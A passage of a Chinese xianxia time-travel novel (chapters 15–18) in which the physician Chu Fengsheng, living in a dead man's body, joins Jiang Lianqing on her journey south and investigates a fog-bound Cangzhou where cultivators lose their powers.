他是楚逢生,但他必须以楚予思的名字走下去,为了因果逻辑计算合理。
想到这,他就不由自主地叹了口气。
自己还是太强了,这才穿越一天就处理了这么多信息,既找出了躯体的身份,也盘出了现处何时,要如何做事。
还是太明察秋毫了,不愧是我。
楚逢生弯起一抹笑,点点头。
闭上的大门又一次开启,明媚的晨光倾泻,温暖的光芒照在后背上格外舒适。
楚逢生不紧不慢地从地上爬起来,习惯性拍拍身上的灰,转身望去。
青衣少女逆光而立,青丝系上红飘带,在晨风拂过时微微摇摆,发丝在光下宛若金线。
就是姜涟清烟青色的眼睛,看起来不似离去时那般欢快。
楚逢生眨眨眼,斟酌问:“你怎么了?”
姜涟清没立刻回答。
她关上大殿的门,将晨光隔绝门外,一步步上前。
每走一步,楚逢生心中不祥的预感更甚。
直至少女立于身前,仰头看他:“想明白了吗?你还有什么要和我坦白?”
楚逢生尴尬地笑了笑:“哈哈哈……姜门主你想知道什么啊?”
姜涟清轻叹一口气:“不要和我打马虎眼了,你真的不知道吗?”
当然不是。
楚逢生当然知道她说的坦白,到底要自己说些什么。
当时耳边突然传来把东西踢飞的声音,随后就听不到了,用什么想也明白,姜涟清肯定和他一样听了个全程。
“好吧,我知道。”楚逢生无奈回应,“但是,我的答案你不一定理解就对了。”
姜涟清:“少废话,我还有事,没那么多时间和你闹。”
楚逢生:“好好好。”
他认真地对上她的眼睛,语气不再吊儿郎当,喊了一声她的名字:“姜涟清。”
“首先,我绝对没有骗你,我就叫楚逢生;其次,楚予思也是‘我’的名字没有错,只是,你也知道楚予思死了。”
“再然后,或许你难以相信,但楚逢生不是楚予思,不过这不是我想造成的局面,听明白了吗?”
“最后,我向你保证。”楚逢生想到这里,无意识地嘴角上扬,“你的所念所想,一定会成功。”
姜涟清看着他好一会没有说话。
够匪夷所思的。她想。
玩什么文字游戏?不就是楚逢生和楚予思是两个人,但现在楚逢生必须在楚予思的壳子里,没有办法剥离的意思?
离魂之事,她倒是有所耳闻,却从未亲眼见过,这下让她遇上活生生的例子了。
可惜世上灵修稀少,鲜少有修士适合研究探索灵魂之事。
这一行要求的天赋不是一般高,太容易走火入魔,就是天才也很难避免,更不用说普通人。
楚逢生骗她?倒不见得。
楚予思死了的消息,是从加害者口中得知的,他们信誓旦旦说一定死了。那当时那只虎妖为什么追杀楚逢生?
或许,那虎妖本来就是来寻楚予思的尸身的。
一为枯木逢春,二为楚予思的尸身。
她侧头,看见楚逢生身后,王座之下凌乱的森然白骨。
毕竟,他是金丹期修士。
姜涟清点点头:“嗯,好吧,我明白了。”
她垂眸:“那接下来,你要去哪里?”
说来好笑,她向来不愿踽踽独行。孤独感是她这辈子都不想体验的东西。
楚逢生:“你接下来要去什么地方吗?不是说要先突破一下?”
他看着她的发顶,有些拿不准她的想法。
姜涟清:“改变主意了。”
楚逢生:“改变什么主意了?”
姜涟清不说话了,突然侧身,收走了虎大王身上捆着的红绳。红绳松开丝丝分裂,立刻恢复了珠帘的状态,缠回伞缘。
虎大王感觉身上一轻,不可置信地睁开眼。就这么放了他吗?
他想站起来试试,可对上那女人淡漠的眼神,他没由来的不敢有所动作。
谁惹她了?本大王没惹!
下一刻,白非言和燕烟推门而入。
灵力恢复后的白非言神色倨傲,即便还在自己师妹背上,也高高抬起头颅,不知道的还以为是天鹅。
燕烟进门第一件事,就是把她这瘸腿师兄放到一边,迈着轻快的步伐,掏出捆仙绳给虎大王捆了一圈又一圈。
虎大王:“……”
原来是换根绳子。
燕烟捆完虎大王,照葫芦画瓢似的把剩下几只妖也全都捆了。
她一边捆,还不忘说:“姜门主你要什么时候南下呀?如果可以的话,我和我师兄给你践行。”
楚逢生眉头一挑:“姜门主要南下啊?”
“对啊!”燕烟捆完虎小三,抬头看去,怔愣一瞬。
“楚、楚医师!?”
她难以置信:“二十年前你不就说要离开降星洲了吗?怎么还留着?莫非是这些妖怪害你!”
楚逢生:“……说来话长。”
燕烟偏头看向白非言,从他眼中看见了如出一辙的震惊。
不过现在不是疑惑这一点的时候,既然专业医修在此,此时不报诊待何时?
燕烟:“楚医师,你可以看看我大师兄的腿吗?我的眼睛就是您按回去的,您妙手回春,肯定有办法让大师兄站起来!”
姜涟清暗自吐槽,楚予思和楚逢生是不是一个水平还有待商榷。
楚逢生淡淡瞥了一眼身后那个白衣人,点头答应:“可以,不难治。”
燕烟感动:“楚医师你人真好!”
楚逢生:“……”楚予思人或许真的挺好的,但他这样恶毒的人就不一定了。
燕烟很快就捆完了所有妖。
她拍拍手:“搞
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定!”
燕烟抬头,正巧看见独自立于白骨前的姜涟清,不知她心中在想些什么。
身后突然传来白非言的惨叫:“啊啊啊啊啊——!楚医师您轻点啊!”
燕烟听得身子一抖,一寸一寸扭过头去。
楚逢生蹲在白非言身边,神色淡淡,在他腿上扎了十来根针,又一枚冰针狠狠进他的大腿。
“啧,嚷嚷什么?这不是有知觉了?你就说是不是有感觉了吧,少鬼哭狼嚎,不知道的以为小爷虐待你。”
燕烟:“……”哈哈,大师兄你受着吧,反正楚医师医术高超,肯定都是为了你好。
她再度回头,几步上前到姜涟清身后:“姜门主,今日之恩我等无以为报,不知可否请您吃顿饭?就当是为您践行。”
姜涟清方才还沉浸在自己的愁思里。
私心里她不希望一路都是一个人,结伴而行总比一个人好,可这要怎么和楚逢生开口?
她唯一怕的,就是只有一个人。
她不想一个人。
听到燕烟的回答,姜涟清思考片刻,回应:“不了吧,南下之行迫在眉睫,我不能再留在这里了。”
燕烟不解:“为何?”
姜涟清:“为了复仇啊。归谕门灭顶之灾,我怎么会不知道因为什么?不过是那妄洲邪祟。”
“妄洲在南方,要横跨一整个尘缘大陆,我既然心意已决,万没有在原地过多停留的可能。”
燕烟:“只是为了复仇?因为仇恨吗?”
姜涟清摇头:“当然不是啦,只是,我早该入世的。”
楚逢生又扎了一次,这次扎在白非言膝弯,触发凄厉的惨叫。
“姜门主,什么时候启程?”他手上的动作未曾停止,只是高声询问。
“今天。”姜涟清。
“今天吗?那很着急了。带我一个?”楚逢生。
“嗯?”姜涟清几步来到他身边蹲下,一歪头,乌黑的发丝垂落他手背,“楚医师想和我南下吗?”
手背好像被轻轻挠了两下,楚逢生呼吸一顿,连带着手上的动作也停了。
他对白非言说:“就这样吧,我给你拔了,回去再找别的医修给你看。”
说完他也不在意白非言是否回应,转头一笑:“当然想啊,我肯定很听话的。”
楚逢生半开玩笑似的:“侠女,降妖除魔带我一个啊,我是医修能顾后,脾气好任劳任怨。”
白非言:“?”
刚刚让他别鬼哭狼嚎的是谁。
燕烟:“?”
这话说的,哪里怪怪的。
被绑的妖怪们:“?”
刚刚这女人不在一而再再而三挑衅的是谁?
姜涟清一时语无伦次,直接站起来往后退出好几步。
脾气好怎么说出口的?
姜涟清:“可是我第一遇到你,你就问人家虎妖是不是没有家人。”
楚逢生三下五除二扒掉白非言腿上的针,转身起立,要继续去收妖怪身上的。
他轻描淡写:“哎呀,不要在意这些细节,就当我想陪你好不?”
“……”
“算了,你收拾一下,把你的针都收回来,等会就出发。”姜涟清。
也用不着她苦思冥想如何让眼前人答应陪同了。这可是他自己提出来的,不是她求他的。
然而然而。
姜涟清心头一暖,连带着知道那些碧云山外信息时的愤怒都减轻不少。
如果说有什么话很动听。
那一定是:我想陪你。
16. chapter.16聊聊
月露清影,夜风萧索。
当太阳落山,另一边清润的月已经悄然攀上天幕,月色微凉。
不得不说,他们修士赶路速度就是快,不过一天便要到降星洲边界了。
姜涟清在沧州边缘一处客栈停下了脚步。
“先休息一下吧,据我所知,沧洲内部不是一般境地,若是修为不足,便会失去灵力。”
姜涟清推开了窗户,探出身子,望向晴空中万亩繁星。
昂宿异常,异种入侵。
星象说:沧洲有奇怪的东西混进去了。
到底是什么呢?
姜涟清不自觉皱起眉头。虎大王说,一位大人给了他那对斧子,从此拥有了封禁修士灵力的能力。
那是一种很温和,却隐隐透着强势的,不管不顾的魔气。
它不伤害你,却要你失去某种东西。
这星象在今晚之前都未曾有过变化,是什么东西到沧洲了,还是说,回到沧洲了?
楚逢生坐在八仙桌上,查看楚予思那只小小的药匣。
这楚予思和他也太合拍了,居然藏着这么多云蘅草,一看就是经常上雪淞谷的主,没想到穿越一遭还能遇到这样合拍的知音。
可惜斯人已逝,魂魄不知去向。
“到了沧洲要怎么样?直接走吗?”他问。
姜涟清转头,顺手关上了窗户,将银白月华关在屋外。
姜涟清:“不,先去看看为什么机关城不开,这不合常理。”
楚逢生:“哦?为什么?”
这倒是引起他的好奇心了,在千年以后,机关城可是常年不开,很少有人会进去,极少有人从里面出来。
这千年前与千年后正好相反。
姜涟清坐在椅子上,一手撑着下巴:“因为即墨城主是传统意义上的好人,绝对不会面对混乱闭城不出,留一众百姓困在苦难中。”
她从袖口掏出梨花钱,摆在楚逢生身侧,指尖一下一下戳过每个钱币。
姜涟清:“即墨城主即墨逾,便是这梨花钱的铸造者,我大师兄的濯尘剑,我二师兄的浮云刀,也都出自即墨城主之手。”
“他机关术造诣极深,从机关城就看得出来了,一般人想强行突破或者强行出去肯定是做不到的,否则就不会有机关城不开这般无奈的说法了。”
“很奇怪的,谁来了都会说即墨逾是个好人,这样一个所有人都夸口称赞的人,在关键时候不出手?”
楚逢生听到濯尘剑时,便停下了把玩药草的手,提及浮云刀的时候,更是心中大惊。
浮云刀在一千年以后,可是降星洲那位芸生长老的法器!
芸生长老和云上洲的了已仙尊一样,都是跨越千年的人物,在千年前的今天都尚未成长。
还真是命运弄人,芸生长老和浮云刀还有这样一段往事。
“那很难以置信了。”楚逢生附和道。
他都好奇了,千年以后的即墨城主即墨闻崎,知道自己的先辈是一个逢乱必出的大善人吗?
这般反差,好生有趣。
“所以,姜门主的猜测,是给予虎大王那把灰青色斧子的神秘人,还待在沧洲吗?你刚才,是在观星吧?”
姜涟清:“哦?”还真让他猜对了。
“是呢,不过我不觉得是依旧待在沧洲,感觉更像是不久前回到沧洲,就这几天,刚刚回去。”
姜涟清斟酌片刻:“我是不是没有和你说过邪祟的事?”
“嗯哼~”楚逢生点头,“涟清姐姐要和我讲讲吗?”
姜涟清一听这个称呼,表情一滞。
她那两百年从来都只有被叫师妹的份,姐姐这般称呼还从未听过。这真是太……
姜涟清轻咳几声。
“嗷,这样,那我和你讲一下吧,总不能叫你什么情况都不清楚就跟着上路。”姜涟清一边说着,一边想起今日忙着赶路,连每日运势都没算。
她一把收起梨花钱,合掌于心摇了摇:“灭我归谕门的便是邪祟,妄洲邪祟,我现在得来的消息倒也不算多。”
“晃啷”,梨花钱落在桌面。
一正二反。
姜涟清:“妄洲邪祟,是四个不完整的灵,一旦寄生一个人的灵魂,便要与此人同死。”
楚逢生:“这听起来和绛霜花的寓意怪像的。”
姜涟清:“我不是说,在你之前,还有别人来过归谕门吗?那人告诉我,这妄洲邪祟只会寄生自己喜欢的人,举的例子其实我很不喜欢。”
她收起梨花钱,对沧洲之行有了个大概猜测,或许并不是一件棘手之事。
“他说,春望就喜欢我二师兄这种正义凛然的人。”姜涟清拍了一下桌面,“那春望,就是用我二师兄的身体屠杀了我全门!”
楚逢生:“等等,妄洲邪祟还有名字啊?”
姜涟清瞥他一眼,觉着这个问题莫名其妙:“当然有啊,春望便是其中之一,至于剩下三个,他说其中一个叫秋许。”
姜涟清两手撑着下巴,几缕发丝落到桌面,发丝的影子在灯光下摇曳。
“妄洲邪祟各有神功,春望的能力,可能就是幻境?我当时没有第一时间得到消息,就是因为身在一个幻境当中。”
“或许是晨雾苑太远了,才把我划分到需要伪装的部分。秋许如果在盈洲,那或许,能力就是诺言成真?总之是和许约有关的能力。”
“不知道该怎么说,但被邪祟看上的人里既然有我二师兄,那我姑且认为被寄生的人都是好人,如果有把他们分开的办法就好了。”
姜涟清又想起吴云贺时而癫狂时而流泪的面庞,钝痛袭来,心起波澜。
如果有这样的办法就好了。
但,这该是灵修才能有些头绪的事情,可灵修向来隐于世间,无踪可寻,就是寻到了,也不一定有法子。
姜涟清摇了摇头:“一旦被缠上了,除了死亡便无法逃脱。”
楚逢生听及此处,忍不住笑了一声。他跳下桌子,在小药匣子里翻找,寻到了一株鲜艳的红花。
“听起来,很沙红姬哦。”楚逢生捏着花枝,递给姜涟清。
这种玫瑰的名字叫沙红姬,长于南方,千年以后只生长在初日洲与妄洲的边界。
听传闻说,这是妄洲的遗物。
楚逢生:“不能同生,那便一定要同死,这般极端,那和绛霜花可搭不上边了。”
姜涟清接过这朵玫瑰,指尖轻弹了一下娇艳欲滴的花瓣,芬芳香气迷人。
“听起来差别好像不大?”
“很大啊,我不是说过绛霜花一支双花各为解药,和云蘅草风评反着来吗?”楚逢生又翻了翻药匣子。
很遗憾,并没有绛霜花的痕迹。
也算正常,绛霜花的生长地离初
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日洲太远了,采摘难度和云蘅草一个级别。
不像沙红姬,妄洲可是初日洲的邻里。
“沙红姬更加极端,误食之人的身体会一点一点丧失生命力,就像妄洲一点点被黄沙掩埋。”
“这样对比,绛霜花真的很浪漫了,好歹是一起活一起死,不是只能等着死。”楚逢生顿了一下,“也不尽然,解药就是云蘅草。”
“不过云蘅可解不了绛霜的毒。”
姜涟清突然有点好奇了。
她拉了拉楚逢生的衣袖:“哎,你和楚予思谁的医术厉害啊?你好懂哦。”
楚逢生闻言立刻退后三大步:“这什么问题?我进来的时候楚予思就死了,这怎么能对比出来?”
姜涟清煞有其事:“本门主思来想去,你让我带上你,那医术一定要过关才行,不然要是医术不精,什么时候错诊……”
她故意拖长尾音,但就是不继续说了。
楚逢生:“……”
楚逢生一屁股坐在床上,试图转移话题:“你什么时候走啊涟清姐姐,这是我的房间。”
“你回答完我的问题我就走。”
“……”楚逢生低头。
楚逢生不知该做出什么样的回答她才会满意,他怎么知道楚予思的医术精到哪一部分了?
就连这金丹期修为他都分不清楚是楚予思的,还是自己的。
这怎么和话本子里的穿越两模两样,一点原主的记忆都没有继承到。
现在好了,他连姜涟清的问题都答不上来。
姜涟清叹了口气,有些惋惜:“没关系的,没有楚予思厉害也没有关系啦。”
“已经带上你了,也不好意思半路扔掉。”
姜涟清当然不是真心觉得楚逢生比不上楚予思,她一开始见到的就是楚逢生。
相较于白非言燕烟,以及虎家三兄弟事先接触到的楚予思,她还是觉得楚逢生更有实感。
楚医师的盛名离她太过遥远,楚逢生可是她入世救下的第一个人。
楚逢生坐在床沿,一直低着的头忽得抬起,黑色的眸子满是傲娇之色,微扬起嘴角。
“好吧,那我就告诉你。”
“在到此之前,我可是被称为……”
“脾气古怪的天才。”
楚逢生咂咂两声:“哎……真是明珠蒙尘啊。”
姜涟清:“?”
姜涟清:“这个词是这样用的吗?”
“不是啊,嘿嘿。”楚逢生不着调得笑笑,“只是我这样的天才流落民间,还被调侃医术不精,难免惆怅而已。”
姜涟清扶额。
高强度处理消息,熬得她身心俱疲,这才有了调侃调侃楚逢生的想法,谁曾想这厮对自己不是一般自信。
她倏然起身:“我要走了,明天上路。”
楚逢生跟着起身:“别嘛涟清姐姐,再聊聊?哎呀你现在走了,明天不只会一声就丢下我怎么办?”
姜涟清默默捂耳朵,朝着门口走去:“不会丢下你的,放心好了。”
“真不再聊聊?”
“不聊了。”
“为什么?现在时间还没有很晚,再聊聊嘛?”
“不聊了,我想一个人休息一下。”
“哎呀,那陪我聊聊嘛,涟清姐姐~”
这次回应楚逢生的,是“砰——”的巨大关门声。
17. chapter.17沧洲
越过丹霞色的绚烂山坡后,地势越来越低了。
沧洲就如同一个瓷碗,盛起树木花林,山川流水,尽数收入囊中。
曾有人戏言,若是从沧澜海引来海水填满沧洲,那尘缘九洲就会多一个内海。
踏入沧洲之时,姜涟清就感觉这地方不对劲。
四溢的魔气未免太过明目张胆,丝毫不加掩饰,过于光明正大了。
最主要的是,她明显感觉到,灵脉中的灵力有些不流畅,是与接触到那柄灰青色斧子时一般的感受,且更为强劲。
楚逢生突然扯了扯她的衣摆,神色严肃:“涟清。”
姜涟清:“怎么了?”
楚逢生:“我的灵脉封住了,这回是封住了。”
什么叫这回是封住了?
姜涟清心中疑惑。
意思是他是第一次被封住灵脉无法使出灵力吗?那前几日是怎么回事?
这么想,她也便这么问:“那前几日,你被虎妖追杀时,为何使不出灵力?你也并非敌不过。”
“啊,这个。”想起来楚逢生就觉得憋屈。他一摊手:“不知道为什么,可能是我的灵魂刚刚进入这副躯体,楚逢生死去多时,尸体都凉了,灵脉凝结,自然使不出。”
“我毕竟是医修,离魂之事了解的绝对不如灵修,要真是灵魂出了问题,一点办法都没有。”
“哎呀,不过这样一来。”楚逢生嘿嘿一笑,“真的要麻烦你保护我了啊,涟清姐姐~”
姜涟清:“……”
怎么有种贱嗖嗖的感觉,不过没有一巴掌扇上去的欲望就是了。
姜涟清不置可否,抬脚往沧洲内部去,楚逢生紧随其后。
愈往内部去,地势便越低。
树高叶繁,遮天蔽日,少数日光透过叶隙。姜涟清伸手去触摸阳光,却只感到一阵冰凉。
真可怕。
越往深处,魔气越重,混在迷蒙雾色中,也不知有何物藏匿其中。
即墨城主为何闭城不出?
姜涟清突然有些明白了,可又不知该如何表述,这番理由着实难以言表。
楚逢生跟在她身后,一张嘴就没有停的时候。
“现在不是春天吗?这地方怎么这么冷,一点都没有春暖花开的感觉,沧洲也不是云上洲那种常年飘雪的地方啊。”
“怪哉怪哉,虽说沧洲景大抵是比不过浮洲江南画意,但这厢也不该阴冷成这样吧?都不是冷气嗖嗖了,是鬼气森森。”
“啧啧,这雾怎么这么大?不知道还以为是妄洲瘴气。”
听到这里,姜涟清停了脚步,蓦然回头。
楚逢生心一跳,即刻停下脚步,差点就撞到这个比自己矮一头多的年少门主身上了。
姜涟清:“什么是妄洲瘴气?”
楚逢生:“呃,这会没有这个说法吗?”
姜涟清双手抱胸,上下打量了一番眼前这个长相妖艳的男人。他似乎一直没有说过,他在住进楚予思身体之前如何。
昨夜他说,世人皆评价他是脾气古怪的天才。
此话虽然狂妄,但并非毫无可信度。
给白非言扎针时的从容淡定不似作假,一针放倒一个妖也能看出他对穴位了解颇深。
默默无名的天才吗?不见得。
姜涟清:“你在成为楚予思之前,是什么?”
楚逢生一愣:“你说什么?”
姜涟清又言:“你在成为楚予思之前是什么?”
“一个脾气古怪的天才啊,还能是什么?四处流窜不想继承家业,却不得不继承家业的不合格逃亡者吗?”楚逢生一耸肩,“我的过去怪无聊的,成天就是去雪淞谷薅云蘅草。”
姜涟清垂眸:“真的,只是一个籍籍无名的隐世天才?”
楚逢生:“没隐世,我是青虚谷弟子。”
姜涟清听到这个名字又觉得陌生了,初日洲有名的门派从未有过“青虚”一名。
她轻轻摇了摇头,想先把这些疑惑都抛之脑后。过于渴望探究他人往事,说到底只是好奇心作祟。
眼下还有更为重要之事未曾解明。
“好吧,那就给我解释一下,什么是妄洲瘴气?”
楚逢生看她反应就知道,她定是起了疑心。不过他敢说,定是不怕她问的。
楚逢生:“可以理解为,妄洲魔气好听点的说法,不过只在妄洲,其他地方出现就……不是好事了。”
姜涟清点点头,示意:“那继续走吧,机关城位置隐秘,我从未亲自来过,届时指不定要转多久。”
“没关系,你也不只是想知道机关城为什么不开啊。”楚逢生指向明显。
姜涟清又一次停下脚步。
她站在一片暗色里,青色的背影看不出此刻到底是何种心情。
骤然一阵阴风过,树叶沙响,红色飘带随风飘拂,似此方天地唯一鲜艳之色。
她的声音散在风中:“你有点,太聪明了。”
楚逢生方才笑嘻嘻的脸,瞬间连笑意都淡了。
说实话,他就没打算让姜涟清知道他不是现世之人。
他自身本就是一个改变历史的隐患,他绝不会改变楚予思的行动轨迹,也不会告诉姜涟清未来该是何种模样。
因果一环扣一环,那一环出错都不可以,那一环出错都有可能导致逻辑崩塌。
哪怕他知道,姜涟清的救世之旅在后世永远流传,哪怕是成功的结局。
不能改变过去,因为过去牵动未来。
“嘻嘻,那是,小爷可是楚逢生。”楚逢生弯唇一笑,不甚在意,“我要是不聪明,早就死的不能再死了。”
*
哒,哒,哒……
脚步声沉稳有力,在微暗的房间里却莫名有着无形的压迫感。
昏暗的灯光照出屏风后少年清瘦的身影,沉重的锁链铐住了他的细白的脚腕,一人坐在屏风之后,床榻之上。
光影之下,风姿绰约。
见到来人,少年饶有兴致起身相迎,链条在地上拖拽,喀啦啦的声响有些刺耳。
“哎呀,即墨城主。”
距来人三步之远时,少年面露笑意,双手抱胸,停下不动了。
“这个时候来看我吗?”
眼前人清冷矜贵,骨相优越,一双冷冽的眸子深不可测,松姿鹤骨立于少年身前,比少年还高出半个脑袋不止。
即墨逾没有回答少年的话语,只是冰冷道:“还给他。”
“啧啧啧~”少年似是觉得没趣,转身走回床榻,喀啦啦的声音再度响起,直至他坐到床沿。
脱了鞋袜,一双白皙的脚在深色链条的衬托下更如霜雪。
蓝白色衣袖里伸出一只如玉的手,拨了把散下的黑发,别到耳后。
少年缓慢摇摇头:“这样不好吗?你再怎么着急,也不可能让我们两个分开了哦~”
“除非。”他嘴角上扬,露出一个似明媚又无情的笑来,“你杀了我哦!杀了我,就连他一起杀死了。”
即墨逾面色不改:“一个不完整
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的灵,还想缠着他一辈子?他平生最厌烦被框框架架绊住手脚。”
“你凭什么觉得,当他察觉到你寄生于他的魂魄,他会放过你?”
“夏期。”
他几乎是从唇缝里硬挤出这两个字。
夏期满不在乎:“他知道就知道呀~他想活着就必须和我在一起喽!”
“哎呀,即墨城主,你说,世界上怎么会有他这种人呢?”
夏期晃着未被锁链束缚的那只脚,神情中满是探究与兴奋。
夏期:“什么都不在乎,谁都不关心,单凭自己心中所念所想支配自己的行为。”
“又身负当今世上最伟大的天赋,修道之事与他而言,和饮水吃食有何区别?上苍眷顾,不舍他受这修道疾苦。”
“啧啧啧,任谁来了都得羡慕,偏偏他自己不甚在意,这么多年修炼过来,修为甚至不如即墨城主您。”
“这般随性,我可真是……”
咔哒咔哒……
一阵风起,半开未开的窗户被吹的咔哒响,房间内的烛影飘摇不定,火苗向着一边倒去,却迟迟不熄。
“我真的,太喜欢了。”
即墨逾抿唇不语,立在远处毫无反应。
二人就这般僵直着,直到风声愈发喧嚣,夏期受不了嘈杂之音,下床关了窗户。
夏期:“你这人特别没意思,话都不爱回,要是他和你说话,你也要这样惜字如金,不说一句废话吗?”
“今日才见我,就这般凶我,真不知道你到底有什么好的,能让他出门在外都要提一句挚友。”
他并非真的觉得委屈,不过是想恶心即墨逾而已。
原先他并不打算长久占据意识主导,可偏生这人一到沧洲,便直直往机关城来了。
来了就算了。
这即墨逾够变态。
外头只知道他机关术造诣极深的同时,还铸得一手好法器。
却无人知晓,这位看似面冷心硬的即墨先生,还是位温柔的灵修。
一照面,即便是自己的挚友也毫不犹豫地捆起来,锁上现在挂在脚踝上的锁链,不让他灵体离身,出去寻乐。
原先他要回沧洲,夏期可是很高兴的,他自打跟着他去了隔壁洲,已经很久没有关注过自己精心举办的游戏了。
现在这情况,除非这即墨逾突然暴毙而亡,不然这间屋子他都别想出去。
真狠啊。
夏期倒在床上,翻滚了两圈。
“天底下还有别人知道,我们即墨城主是少有的极品灵修吗?”
“呵。”即墨逾冷笑,“那个人,不就在我面前。”
“哎呀,哎呀呀呀。”夏期一骨碌从床上弹起来,盘腿而坐,“原来,当真是秘密互通的挚友。”
“可惜了,我喜欢他,我就要和他在一起。”
“即墨逾,你能看出来我是寄生在他灵魂上的妄洲灵又怎么样?”
“你照样,没法让他完好无损地剥开我。”
夏期并非盲目自信。
即便现在他们四个天各一方……哦不,春望已经打道回府了,吴云贺死了。
好吧,即便他只是四分之一。
那他也是,凌驾于修道者之上的,天地灵气孕育而出的灵。
灵修,又能奈他何?
“不。”即墨逾轻飘飘道,“有头绪。”
说罢,他终于有所动作,转身离开。
夏期坐在床上转了圈眼珠,随即翻了个白眼。
呵,装什么。
18. chapter.18追逐
迷雾渐浓,抬头不见日。
深入沧洲内里,若说一如平常,大约是无人相信。神秘著称的沧洲从未有哪一年春日,如现在这般阴寒。
且不说作为浮洲邻里,既为降星洲接壤,怎么也不可能如初日洲与妄洲那般天壤之别。
阴风不止,沙沙声响不息。
姜涟清竖起耳朵,听到了杂音中几声轻巧的脚步声,正在逐渐靠近。
窸窸窣窣……
姜涟清不动声色地抓住了楚逢生的手腕,立于原地,硬生生拽着他停下脚步。
四处张望毫无收获的楚逢生一惊,下意识开口询问:“干什么啊?”
姜涟清“嘘”了一声。
“有东西来了,不要随便乱动。”
窸窸窣窣……
楚逢生:“嗷,这样,那好吧。”
他顺从地任她牵住手腕,又一次环顾四周。
树影间隐约有一抹白色闪过,可当他再次凝眸定睛之时,便丢失了那物的身影。
窸窸窣窣……
姜涟清抓他手腕的力道忽然重了。
“一。”
“二……”
“三……”
她轻轻数了三个数。
“嘶哈——!”
一庞大的身躯疾速向二人靠近,人首蛛身的怪物嘶吼着,面露凶相,露出獠牙,意欲一口咬上谁人头颅!
那霜白的巨大身体染着干涸血迹,獠牙间亦有未清除的碎肉。
下一刻,姜涟清一踩实地,原地凌空,拽着躲过蜘蛛突袭。
蜘蛛扑了个空,抬头望见一双冷淡的清眸,似是恼了。
它朝上空吐出一团带血丝的蛛丝,想把凌空的二人打下来。
“夜阑珊!”
姜涟清一声喝,精致的赤伞在二人身前绽开,红珠与黑珠摇曳碰撞,挡下了这团污秽之物。
这团混乱的蛛丝直直掉落到歪曲的树干上,一弹,滚入尘土。
被蛛丝触碰过的树干,顿时冒了一股黑气。
“啧……”
姜涟清有点嫌弃。
这蛛丝的味道着实难闻,一股子口水味也便罢了,还有一股子腐尸味,臭气熏天。
楚逢生感觉臭气直击大脑,白眼一翻,一副要吐的模样:“我天,这也太臭了吧!”
“我不行了,这个味道要害死谁?这蜘蛛的杀人方式不会就是吐出一堆味道和泄物似的蛛丝,从而达到无人忍受这股气息,就地熏死吧!”
蜘蛛扭曲的,雌雄莫辨的人脸一歪,似乎不解,又发出一声尖锐的嘶吼!
姜涟清一手扯着楚逢生,一手拿着夜阑珊,飞速思考着要如何应对。
还未等她有结果,蜘蛛又叫了一声,八足并用,朝着一个方向疾速爬行,宛如鬼影。
姜涟清:“这不对。”
楚逢生抬头望她:“什么不对?我也是说,这就轻易放过我们了吗?因为你的元婴期修为?那这白蜘蛛还怪能屈能伸的。”
姜涟清摇头:“你不觉得,这更像是一种,不符合标准的客观表现吗?”
楚逢生:“哦?”
姜涟清想起白非言所言之事,心中早有猜疑。
既然元婴以下的修士入了沧洲都会失去灵力,那沧洲修士该当如何呢?
沧洲魔物无人制衡,沧洲修士失去力量,除了闭门不出似乎毫无办法,否则就是自寻死路。
元婴期以下,是这无形规则筛选的标准。
筛选出来,然后呢?
然后要做什么。
目前可以肯定,这场不止意欲何为的奇怪禁锢,定是要选一批人入局。
可局内是何种模样?
是魔物追杀人类修士,还是人类修士屠杀魔物?
总归双方是敌对的。
哦,还有一个问题,是要请筛选出来的人入局,还是被筛出去的人入局?
姜涟清拉着楚逢生落到一根粗壮的树枝上坐下,淡淡看着那团蛛丝:“符合标准的,是你还是我呢?”
“你看,我们刚刚好是两个条件,能代表两种情况,一种是失去灵力的你,一种是灵力尚存的我。”
“那,到底哪一个,被邀请入局了呢?”
楚逢生轻轻笑了一声:“我觉得,是我哦。不过有涟清姐姐保护我,白蜘蛛不得已才离去。”
姜涟清:“为什么觉得是你?”
楚逢生看着白蜘蛛消失的方向:“它为什么要猎杀,很大概率被反杀的猎物呢?”
“哦,当然,如果要反驳我的想法也很简单,我们只需要追着这蜘蛛的方向一路摸索,自然能有些头绪。”
姜涟清眯了眯眼,不轻不重地弹了一下楚逢生的头。
“嗷!”楚逢生叫了一声,伸手捂头,“疼啊!”
姜涟清:“就你鬼机灵,怎么的,你又看出来我想追上去了?”
楚逢生嘿嘿一下:“那是自然,你的心思并不难猜啊涟清姐姐,什么都写在脸上了。”
姜涟清不认同这种观点,甚至是极其不解:“我哪里什么都写在脸上了?我大师兄才把心事写脸上好吗。”
楚逢生:“这只能证明你们师兄妹不愧是同门弟子哈。”
姜涟清作势要弹他脑瓜,但楚逢生先一步护住了头,叫她无从下手。
她往左他就往右躲,她往右他就往左躲。
姜涟清深吸一口气,指节不轻不重地敲了一下他的额头。
“哼~”
她扭头。
她姜涟清有的是办法做到想做的。
楚逢生的动作一下就停下了,双手渐渐放下,耳根微红,黑鸦鸦的睫毛扑闪着,有些不知所措。
半晌,姜涟清拍了一下他的肩膀:“好啦,既然知道我要干嘛,那现在出发吧。”
楚逢生好奇:“按那蜘蛛的速度,现在早不知道爬哪去了,你有什么法子追上它?”
姜涟清:“这简单,天机镜!”
一面镜面平滑的镜子出现在她手中,乌木边框缠起一圈红色丝带,乍一看,还以为是什么随嫁物品。
楚逢生暗笑说:真是和红飘带过不去了,怪不得连传闻也要提及。
姜涟清跳下树,来到那团蛛丝边上。
臭味不减,甚至因为距离靠近更近难熬。
好在只需要用镜子照一下就好了。
她迅速举起镜面照了一下,而后逃也似的回到树枝上,邀楚逢生一同看镜面。
镜子的表面起了波澜,倒像是一片叶落水,圈起圈圈涟漪。
人首蛛身的白蜘蛛出现在了镜子里。
楚逢生:“嚯,这么好用。”
姜涟清:“那当然啦,即墨先生出手,必是精品!”
楚逢生:“这也是即墨先生做的,这么厉害?什么法器都能制一下,他不是偃师吗?还精通造器。”
天机镜牵引出一条摸不着的红色丝线,朝着白蜘蛛逃离的方向沿去,速度极快,不多时便不见尽头。
姜涟清扯了下楚逢生的衣袖,示意他下树:“他不只是偃师啊,要论当今天才,他即墨先生即墨逾,绝对榜上有名。”
“哦?这么厉害?”
二人降地,循着红线的指引向前去。
楚逢生:“那你呢?涟清姐姐,你这么厉害,肯定也很有名吧?”
姜涟清:“我这样居深山而不出的,要哪里有名去?”
楚逢生神色
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一重,似是吃惊,随机恢复以往笑颜。
没关系。
他心说。
千年以后,凡修道者,你的封号无人不知无人不晓。
*
随着红线牵引,视野豁然开朗,马上便要离开森林地带,到达一片平地,一旁还有条曲折小溪。
